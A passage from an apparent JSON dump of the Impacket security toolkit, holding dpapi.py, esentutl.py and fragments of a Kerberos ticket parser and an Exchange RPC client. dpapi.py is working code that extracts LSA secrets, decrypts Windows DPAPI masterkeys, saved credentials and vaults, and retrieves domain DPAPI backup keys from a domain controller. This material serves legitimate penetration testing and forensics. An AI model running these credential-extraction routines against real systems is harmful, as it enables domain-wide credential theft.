'[MS-PAC] section 2.6 (PAC Credentials) describes an element that is used to send credentials for alternate security protocols to the client during initial logon.' \\\n                                  'This PAC credentials is typically used when PKINIT is conducted for pre-authentication. This structure contains LM and NT hashes.' \\\n                                  'The information is encrypted using the AS reply key. Attack primitive known as UnPAC-the-Hash. (https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)'\n    credential_info.add_argument('--asrep-key', action=\"store\", metavar=\"HEXKEY\", help='AS reply key for PAC Credentials decryption')\n\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    args = parser.parse_args()\n\n    if not args.salt:\n        if args.user and not args.domain:\n            parser.error('without -s/--salt, and with -u/--user, argument -d/--domain is required to calculate the salt')\n        elif not args.user and args.domain:\n            parser.error('without -s/--salt, and with -d/--domain, argument -u/--user is required to calculate the salt')\n\n    if args.domain and not '.' in args.domain:\n        parser.error('Domain supplied in -d/--domain should be FQDN')\n\n    return args\n\ndef main():\n    print(version.BANNER)\n    args = parse_args()\n    logger.init(args.ts, args.debug)\n\n    try:\n        parse_ccache(args)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            traceback.print_exc()\n        logging.error(str(e))\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/dpapi.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Example for using the DPAPI/Vault structures to unlock Windows Secrets.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Examples:\n#\n#   You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for\n#   masterkeys and credentials, and -vpol and -vcrd for vaults).\n#   If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well.\n#   If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents.\n#   In the case of vaults, you might need to also provide the user's sid (and the user password will be asked).\n#   For system secrets, instead of a password you will need to specify the system and security hives.\n#\n# References:\n#   All of the work done by these guys. I just adapted their work to my needs.\n#   - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28\n#   - https://github.com/jordanbtucker/dpapick\n#   - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did )\n#   - http://blog.digital-forensics.it/2016/01/windows-revaulting.html\n#   - https://www.passcape.com/windows_password_recovery_vault_explorer\n#   - https://www.passcape.com/windows_password_recovery_dpapi_master_key\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport struct\nimport argparse\nimport logging\nimport sys\nfrom six import b\nfrom binascii import unhexlify, hexlify\nfrom hashlib import pbkdf2_hmac\n\nfrom Cryptodome.Cipher import AES, PKCS1_v1_5\nfrom Cryptodome.Hash import HMAC, SHA1, MD4\nfrom impacket.uuid import bin_to_string\nfrom impacket import crypto\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.dcerpc.v5 import lsad\nfrom impacket.dcerpc.v5 import bkrp\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.examples.secretsdump import LocalOperations, LSASecrets\nfrom impacket.structure import hexdump\nfrom impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \\\n    CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \\\n    PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY, deriveKeysFromUser, deriveKeysFromUserkey, CREDHIST_FILE\n\n\nclass DPAPI:\n    def __init__(self, options):\n        self.options = options\n        self.dpapiSystem = {}\n        pass\n\n    def getDPAPI_SYSTEM(self,secretType, secret):\n        if secret.startswith(\"dpapi_machinekey:\"):\n            machineKey, userKey = secret.split('\\n')\n            machineKey = machineKey.split(':')[1]\n            userKey = userKey.split(':')[1]\n            self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:])\n            self.dpapiSystem['UserKey'] = unhexlify(userKey[2:])\n\n    def getLSA(self):\n        localOperations = LocalOperations(self.options.system)\n        bootKey = localOperations.getBootKey()\n\n        lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM)\n\n        lsaSecrets.dumpSecrets()\n\n        # Did we get the values we wanted?\n        if 'MachineKey' not in self.dpapiSystem or 'UserKey' not in self.dpapiSystem:\n            logging.error('Cannot grab MachineKey/UserKey from LSA, aborting...')\n            sys.exit(1)\n\n    def run(self):\n        if self.options.action.upper() == 'MASTERKEY':\n            fp = open(options.file, 'rb')\n            data = fp.read()\n            mkf= MasterKeyFile(data)\n            mkf.dump()\n            data = data[len(mkf):]\n\n            if mkf['MasterKeyLen'] > 0:\n                mk = MasterKey(data[:mkf['MasterKeyLen']])\n                data = data[len(mk):]\n\n            if mkf['BackupKeyLen'] > 0:\n                bkmk = MasterKey(data[:mkf['BackupKeyLen']])\n                data = data[len(bkmk):]\n\n            if mkf['CredHistLen'] > 0:\n                ch = CredHist(data[:mkf['CredHistLen']])\n                data = data[len(ch):]\n\n            if mkf['DomainKeyLen'] > 0:\n                dk = DomainKey(data[:mkf['DomainKeyLen']])\n                data = data[len(dk):]\n\n            if self.options.system and self.options.security and self.options.sid is None:\n                # We have hives, let's try to decrypt with them\n                self.getLSA()\n                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])\n                if decryptedKey:\n                    print('Decrypted key with UserKey')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])\n                if decryptedKey:\n                    print('Decrypted key with MachineKey')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])\n                if decryptedKey:\n                    print('Decrypted Backup key with UserKey')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])\n                if decryptedKey:\n                    print('Decrypted Backup key with MachineKey')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n            elif self.options.system and self.options.security:\n                # Use SID + hash\n                # We have hives, let's try to decrypt with them\n                self.getLSA()\n                key1, key2 = deriveKeysFromUserkey(self.options.sid, self.dpapiSystem['UserKey'])\n                decryptedKey = mk.decrypt(key1)\n                if decryptedKey:\n                    print('Decrypted key with UserKey + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = bkmk.decrypt(key1)\n                if decryptedKey:\n                    print('Decrypted Backup key with UserKey + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = mk.decrypt(key2)\n                if decryptedKey:\n                    print('Decrypted key with UserKey + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = bkmk.decrypt(key2)\n                if decryptedKey:\n                    print('Decrypted Backup key with UserKey + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n            elif self.options.key and self.options.sid:\n                key = unhexlify(self.options.key[2:])\n                key1, key2 = deriveKeysFromUserkey(self.options.sid, key)\n                decryptedKey = mk.decrypt(key1)\n                if decryptedKey:\n                    print('Decrypted key with key provided + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n                decryptedKey = mk.decrypt(key2)\n                if decryptedKey:\n                    print('Decrypted key with key provided + SID')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n            elif self.options.key:\n                key = unhexlify(self.options.key[2:])\n                decryptedKey = mk.decrypt(key)\n                if decryptedKey:\n                    print('Decrypted key with key provided')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n            elif self.options.pvk and dk:\n                pvkfile = open(self.options.pvk, 'rb').read()\n                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])\n                private = privatekeyblob_to_pkcs1(key)\n                cipher = PKCS1_v1_5.new(private)\n\n                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)\n                if decryptedKey:\n                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey)\n                    key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']]\n                    print('Decrypted key with domain backup key provided')\n                    print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1'))\n                return\n\n            elif self.options.sid and self.options.key is None:\n                # Do we have a password?\n                if self.options.password is None:\n                    # Nope let's ask it\n                    from getpass import getpass\n                    password = getpass(\"Password:\")\n                else:\n                    password = options.password\n                key1, key2, key3 = deriveKeysFromUser(self.options.sid, password)\n\n                # if mkf['flags'] & 4 ? SHA1 : MD4\n                decryptedKey = mk.decrypt(key3)\n                if decryptedKey:\n                    print('Decrypted key with User Key (MD4 protected)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n                decryptedKey = mk.decrypt(key2)\n                if decryptedKey:\n                    print('Decrypted key with User Key (MD4)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n                decryptedKey = mk.decrypt(key1)\n                if decryptedKey:\n                    print('Decrypted key with User Key (SHA1)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n                decryptedKey = bkmk.decrypt(key3)\n                if decryptedKey:\n                    print('Decrypted Backup key with User Key (MD4 protected)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n                decryptedKey = bkmk.decrypt(key2)\n                if decryptedKey:\n                    print('Decrypted Backup key with User Key (MD4)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n                decryptedKey = bkmk.decrypt(key1)\n                if decryptedKey:\n                    print('Decrypted Backup key with User Key (SHA1)')\n                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))\n                    return\n\n            elif self.options.target is not None:\n                domain, username, password, remoteName = parse_target(self.options.target)\n\n                if domain is None:\n                    domain = ''\n\n                if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None:\n                    from getpass import getpass\n                    password = getpass(\"Password:\")\n\n                if self.options.hashes is not None:\n                    lmhash, nthash = self.options.hashes.split(':')\n                else:\n                    lmhash, nthash = '',''\n\n                rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\\PIPE\\protected_storage]' % remoteName)\n\n                if hasattr(rpctransport, 'set_credentials'):\n                    # This method exists only for selected protocol sequences.\n                    rpctransport.set_credentials(username, password, domain, lmhash, nthash, self.options.aesKey)\n                \n                rpctransport.set_kerberos(self.options.k, self.options.dc_ip)\n                \n                dce = rpctransport.get_dce_rpc()\n                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n                if self.options.k is True:\n                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n                dce.connect()\n                dce.bind(bkrp.MSRPC_UUID_BKRP, transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))\n                \n                request = bkrp.BackuprKey()\n                request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID\n                request['pDataIn'] = dk.getData()\n                request['cbDataIn'] = len(dk.getData())\n                request['dwParam'] = 0\n\n                resp = dce.request(request)\n                \n                ## Stripping heading zeros resulting from asymetric decryption\n                beginning=0\n                for i in range(len(resp['ppDataOut'])):\n                    if resp['ppDataOut'][i]==b'\\x00':\n                        beginning+=1\n                    else:\n                        break\n                masterkey=b''.join(resp['ppDataOut'][beginning:])\n                print('Decrypted key using rpc call')\n                print('Decrypted key: 0x%s' % hexlify(masterkey).decode())\n                return\n\n            else:\n                # Just print key's data\n                if mkf['MasterKeyLen'] > 0:\n                    mk.dump()\n\n                if mkf['BackupKeyLen'] > 0:\n                    bkmk.dump()\n\n                if mkf['CredHistLen'] > 0:\n                    ch.dump()\n\n                if mkf['DomainKeyLen'] > 0:\n                    dk.dump()\n\n        # credit to @gentilkiwi\n        elif self.options.action.upper() == 'BACKUPKEYS':\n            domain, username, password, address = parse_target(self.options.target)\n\n            if password == '' and username != '' and self.options.hashes is None and self.options.no_pass is False and self.options.aesKey is None:\n                from getpass import getpass\n                password = getpass (\"Password:\")\n            if self.options.hashes is not None:\n                lmhash, nthash = self.options.hashes.split(':')\n            else:\n                lmhash, nthash = '',''\n            connection = SMBConnection(address, address)\n            if self.options.k:\n                connection.kerberosLogin(username, password, domain, lmhash, nthash, self.options.aesKey)\n            else:\n                connection.login(username, password, domain, lmhash=lmhash, nthash=nthash)\n\n            rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\\pipe\\lsarpc]')\n            rpctransport.set_smb_connection(connection)\n            dce = rpctransport.get_dce_rpc()\n            if self.options.k:\n                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n            try:\n                dce.connect()\n                dce.bind(lsad.MSRPC_UUID_LSAD)\n            except transport.DCERPCException as e:\n                raise e\n\n            resp = lsad.hLsarOpenPolicy2(dce, lsad.POLICY_GET_PRIVATE_INFORMATION)\n            for keyname in (\"G$BCKUPKEY_PREFERRED\", \"G$BCKUPKEY_P\"):\n                buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,\n                                              resp['PolicyHandle'], keyname))\n                guid = bin_to_string(buffer)\n                name = \"G$BCKUPKEY_{}\".format(guid)\n                secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,\n                                              resp['PolicyHandle'], name))\n                keyVersion = struct.unpack('<L', secret[:4])[0]\n                if keyVersion == 1:  # legacy key\n                    backup_key = P_BACKUP_KEY(secret)\n                    backupkey = backup_key['Data']\n                    if self.options.export:\n                        logging.debug(\"Exporting key to file {}\".format(name + \".key\"))\n                        open(name + \".key\", 'wb').write(backupkey)\n                    else:\n                        print(\"Legacy key:\")\n                        print(\"0x%s\" % hexlify(backupkey).decode('latin-1'))\n                        print(\"\\n\")\n\n                elif keyVersion == 2:  # preferred key\n                    backup_key = PREFERRED_BACKUP_KEY(secret)\n                    pvk = backup_key['Data'][:backup_key['KeyLength']]\n                    cert = backup_key['Data'][backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']]\n\n                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)\n                    header = PVK_FILE_HDR()\n                    header['dwMagic'] = 0xb0b5f11e\n                    header['dwVersion'] = 0\n                    header['dwKeySpec'] = 1\n                    header['dwEncryptType'] = 0\n                    header['cbEncryptData'] = 0\n                    header['cbPvk'] = backup_key['KeyLength']\n                    backupkey_pvk = header.getData() + pvk  # pvk blob\n\n                    backupkey = backupkey_pvk\n                    if self.options.export:\n                        logging.debug(\"Exporting certificate to file {}\".format(name + \".der\"))\n                        open(name + \".der\", 'wb').write(cert)\n                        logging.debug(\"Exporting private key to file {}\".format(name + \".pvk\"))\n                        open(name + \".pvk\", 'wb').write(backupkey)\n                    else:\n                        print(\"Preferred key:\")\n                        header.dump()\n                        print(\"PRIVATEKEYBLOB:{%s}\" % (hexlify(backupkey).decode('latin-1')))\n                        print(\"\\n\")\n            return\n\n\n        elif self.options.action.upper() == 'CREDENTIAL':\n            fp = open(options.file, 'rb')\n            data = fp.read()\n            cred = CredentialFile(data)\n            blob = DPAPI_BLOB(cred['Data'])\n\n            if self.options.key is not None:\n                key = unhexlify(self.options.key[2:])\n                decrypted = blob.decrypt(key)\n                if decrypted is not None:\n                    creds = CREDENTIAL_BLOB(decrypted)\n                    creds.dump()\n                    return\n            else:\n                # Just print the data\n                blob.dump()\n\n        elif self.options.action.upper() == 'VAULT':\n            if options.vcrd is None and options.vpol is None:\n                print('You must specify either -vcrd or -vpol parameter. Type --help for more info')\n                return\n            if options.vcrd is not None:\n                fp = open(options.vcrd, 'rb')\n                data = fp.read()\n                blob = VAULT_VCRD(data)\n\n                if self.options.key is not None:\n                    key = unhexlify(self.options.key[2:])\n\n                    cleartext = None\n                    for i, entry in enumerate(blob.attributesLen):\n                        if entry > 28:\n                            attribute = blob.attributes[i]\n                            if 'IV' in attribute.fields and len(attribute['IV']) == 16:\n                                cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV'])\n                            else:\n                                cipher = AES.new(key, AES.MODE_CBC)\n                            cleartext = cipher.decrypt(attribute['Data'])\n\n                    if cleartext is not None:\n                        # Lookup schema Friendly Name and print if we find one\n                        if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:\n                            # Found one. Cast it and print\n                            vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext)\n                            vault.dump()\n                        else:\n                            # otherwise\n                            hexdump(cleartext)\n                        return\n                else:\n                    blob.dump()\n\n            elif options.vpol is not None:\n                fp = open(options.vpol, 'rb')\n                data = fp.read()\n                vpol = VAULT_VPOL(data)\n                vpol.dump()\n\n                if self.options.key is not None:\n                    key = unhexlify(self.options.key[2:])\n                    blob = vpol['Blob']\n                    data = blob.decrypt(key)\n                    if data is not None:\n                        keys = VAULT_VPOL_KEYS(data)\n                        keys.dump()\n                        return\n        elif self.options.action.upper() == 'UNPROTECT':\n            fp = open(options.file, 'rb')\n            data = fp.read()\n            blob = DPAPI_BLOB(data)\n\n            if self.options.key is not None:\n                key = unhexlify(self.options.key[2:])\n                if self.options.entropy_file is not None:\n                    fp2 = open(self.options.entropy_file, 'rb')\n                    entropy = fp2.read()\n                    fp2.close()\n                elif self.options.entropy is not None:\n                    entropy = b(self.options.entropy)\n                else:\n                    entropy = None\n\n                decrypted = blob.decrypt(key, entropy)\n                if decrypted is not None:\n                    print('Successfully decrypted data')\n                    hexdump(decrypted)\n                    return\n            else:\n                # Just print the data\n                blob.dump()\n\n        elif self.options.action.upper() == 'CREDHIST':\n            fp = open(self.options.file, 'rb')\n            data = fp.read()\n            chf = CREDHIST_FILE(data)\n\n            if len(chf.credhist_entries_list) == 0:\n                print('The CREDHIST file is empty')\n                return\n\n            # Handle key options\n            if self.options.key:\n                key = unhexlify(self.options.key[2:])\n                keys = deriveKeysFromUserkey(chf.credhist_entries_list[0].sid, key)\n\n            # Only other option is using a password\n            else:\n                # Do we have a password?\n                if self.options.password is None:\n                    # Nope let's ask it\n                    from getpass import getpass\n                    password = getpass(\"Password:\")\n                else:\n                    password = options.password\n\n                keys = deriveKeysFromUser(chf.credhist_entries_list[0].sid, password)\n\n            if self.options.entry is None:\n                # First find the correct key to the 1st entry\n                real_key = None\n                for k in keys:\n                    chf.decrypt_entry_by_index(0, k)\n                    if chf.credhist_entries_list[0].pwdhash is not None:\n                        real_key = k\n                        break\n\n                # Wrong key\n                if real_key is None:\n                    chf.dump()\n                    print()\n                    print('Cannot decrypt (wrong key or password)')\n                    return\n\n                else:\n                    chf.decrypt(real_key)\n                    chf.dump()\n\n                    # Fully successful decryption\n                    if chf.credhist_entries_list[-1].pwdhash is not None:\n                        return\n\n            else:\n                for k in keys:\n                    chf.decrypt_entry_by_index(self.options.entry, k)\n                    if chf.credhist_entries_list[self.options.entry].pwdhash is not None:\n                        chf.credhist_entries_list[self.options.entry].dump()\n                        return\n\n                chf.credhist_entries_list[self.options.entry].dump()\n                print()\n                print('Cannot decrypt (wrong key or password)')\n                return\n\n        print('Cannot decrypt (specify -key or -sid whenever applicable) ')\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Example for using the DPAPI/Vault structures to unlock Windows Secrets.\")\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n\n    # A domain backup key command\n    backupkeys = subparsers.add_parser('backupkeys', help='domain backup key related functions')\n    backupkeys.add_argument('-t', '--target', action='store', required=True, help='[[domain/]username[:password]@]<targetName or address>')\n    backupkeys.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    backupkeys.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    backupkeys.add_argument('-k', action=\"store_true\", required=False, help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    backupkeys.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    backupkeys.add_argument('-dc-ip', action='store',metavar = \"ip address\", help='IP Address of the domain controller. '\n                       'If omitted it will use the domain part (FQDN) specified in the target parameter')\n    backupkeys.add_argument('--export', action='store_true', required=False, help='export keys to file')\n\n    # A masterkey command\n    masterkey = subparsers.add_parser('masterkey', help='masterkey related functions')\n    masterkey.add_argument('-file', action='store', required=True, help='Master Key File to parse')\n    masterkey.add_argument('-sid', action='store', help='SID of the user')\n    masterkey.add_argument('-pvk', action='store', help='Domain backup privatekey to use for decryption')\n    masterkey.add_argument('-key', action='store', help='Specific key to use for decryption')\n    masterkey.add_argument('-password', action='store', help='User\\'s password. If you specified the SID and not the password it will be prompted')\n    masterkey.add_argument('-system', action='store', help='SYSTEM hive to parse')\n    masterkey.add_argument('-security', action='store', help='SECURITY hive to parse')\n    masterkey.add_argument('-t', '--target', action='store', help='The masterkey owner\\'s credentails to ask the DC for decryption'\n                                                                  'Format: [[domain/]username[:password]@]<targetName or address>')\n    masterkey.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    masterkey.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    masterkey.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    masterkey.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    masterkey.add_argument('-dc-ip', action='store',metavar = \"ip address\", help='IP Address of the domain controller. '\n                       'If omitted it will use the domain part (FQDN) specified in the target parameter')\n\n    # A credential command\n    credential = subparsers.add_parser('credential', help='credential related functions')\n    credential.add_argument('-file', action='store', required=True, help='Credential file')\n    credential.add_argument('-key', action='store', required=False, help='Key used for decryption')\n\n    # A vault command\n    vault = subparsers.add_parser('vault', help='vault credential related functions')\n    vault.add_argument('-vcrd', action='store', required=False, help='Vault Credential file')\n    vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file')\n    vault.add_argument('-key', action='store', required=False, help='Master key used for decryption')\n\n    # A CryptUnprotectData command\n    unprotect = subparsers.add_parser('unprotect', help='Provides CryptUnprotectData functionality')\n    unprotect.add_argument('-file', action='store', required=True, help='File with DATA_BLOB to decrypt')\n    unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption')\n    unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption')\n    unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)')\n\n    # A CREDHIST command\n    credhist = subparsers.add_parser('credhist', help='CREDHIST related functions')\n    credhist.add_argument('-file', action='store', required=True, help='CREDHIST file')\n    credhist.add_argument('-key', action='store', help='Specific key to use for decryption')\n    credhist.add_argument('-password', action='store', help='User\\'s password')\n    credhist.add_argument('-entry', action='store', type=int, help='Entry index in CREDHIST')\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    try:\n        executer = DPAPI(options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        print('ERROR: %s' % str(e))\n"
  },
  {
    "path": "examples/esentutl.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   ESE utility. Allows dumping catalog, pages and tables.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   Extensive Storage Engine (ese)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport logging\nimport argparse\n\nfrom impacket.examples import logger\nfrom impacket import version\nfrom impacket.ese import ESENT_DB\n\n\ndef dumpPage(ese, pageNum):\n    data = ese.getPage(pageNum)\n    data.dump()\n\ndef exportTable(ese, tableName):\n    cursor = ese.openTable(tableName)\n    if cursor is None:\n        logging.error('Can\"t get a cursor for table: %s' % tableName)\n        return\n\n    i = 1\n    print(\"Table: %s\" % tableName)\n    while True:\n        try:\n            record = ese.getNextRow(cursor)\n        except Exception:\n            logging.debug('Exception:', exc_info=True)\n            logging.error('Error while calling getNextRow(), trying the next one')\n            continue\n\n        if record is None:\n            break\n        print(\"*** %d\" % i)\n        for j in list(record.keys()):\n           if record[j] is not None:\n               print(\"%-30s: %r\" % (j, record[j]))\n        i += 1\n\ndef main():\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Extensive Storage Engine utility. Allows dumping \"\n                                                                    \"catalog, pages and tables.\")\n    parser.add_argument('databaseFile', action='store', help='ESE to open')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-page', action='store', help='page to open')\n\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n\n    # dump page\n    dump_parser = subparsers.add_parser('dump', help='dumps an specific page')\n    dump_parser.add_argument('-page', action='store', required=True, help='page to dump')\n\n    # info page\n    subparsers.add_parser('info', help='dumps the catalog info for the DB')\n\n    # export page\n    export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')\n    export_parser.add_argument('-table', action='store', required=True, help='table to dump')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    ese = ESENT_DB(options.databaseFile)\n\n    try:\n        if options.action.upper() == 'INFO':\n            ese.printCatalog()\n        elif options.action.upper() == 'DUMP':\n            dumpPage(ese, int(options.page))\n        elif options.action.upper() == 'EXPORT':\n            exportTable(ese, options.table)\n        else:\n            raise Exception('Unknown action %s ' % options.action)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        print(e)\n    ese.close()\n\n\nif __name__ == '__main__':\n    main()\n    sys.exit(1)\n"
  },
  {
    "path": "examples/exchanger.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A tool for connecting to MS Exchange via RPC over HTTP v2\n#\n#   Notes about -rpc-hostname:\n#     Our RPC over HTTP v2 implementation tries to extract the\n#     target's NetBIOS name via NTLMSSP and use it as RPC Server name.\n#     If it fails, you have to manually get the target RPC Server name\n#     from the Autodiscover service and set it in the -rpc-hostname parameter.\n#\n# Author:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n# References:\n#   - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/\n#\n\nfrom __future__ import print_function\nimport base64\nimport codecs\nimport logging\nimport argparse\nimport binascii\nimport sys\nfrom six import PY3\n\nfrom impacket import uuid, version\nfrom impacket.http import AUTH_BASIC\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.structure import parse_bitmask\nfrom impacket.dcerpc.v5 import transport, nspi\nfrom impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES\nfrom impacket.dcerpc.v5.nspi import CP_TELETEX, ExchBinaryObject, \\\n    get_guid_from_dn, get_dn_from_guid\nfrom impacket.dcerpc.v5.rpch import RPC_PROXY_REMOTE_NAME_NEEDED_ERR, \\\n    RPC_PROXY_HTTP_IN_DATA_401_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, \\\n    RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, \\\n    RPC_PROXY_CONN_A1_401_ERR\n\nPY37ORHIGHER = sys.version_info >= (3, 7)\nPR_CONTAINER_FLAGS       = 0x36000003\nPR_ENTRYID               = 0x0fff0102\nPR_DEPTH                 = 0x30050003\nPR_EMS_AB_IS_MASTER      = 0xfffb000B\nPR_EMS_AB_CONTAINERID    = 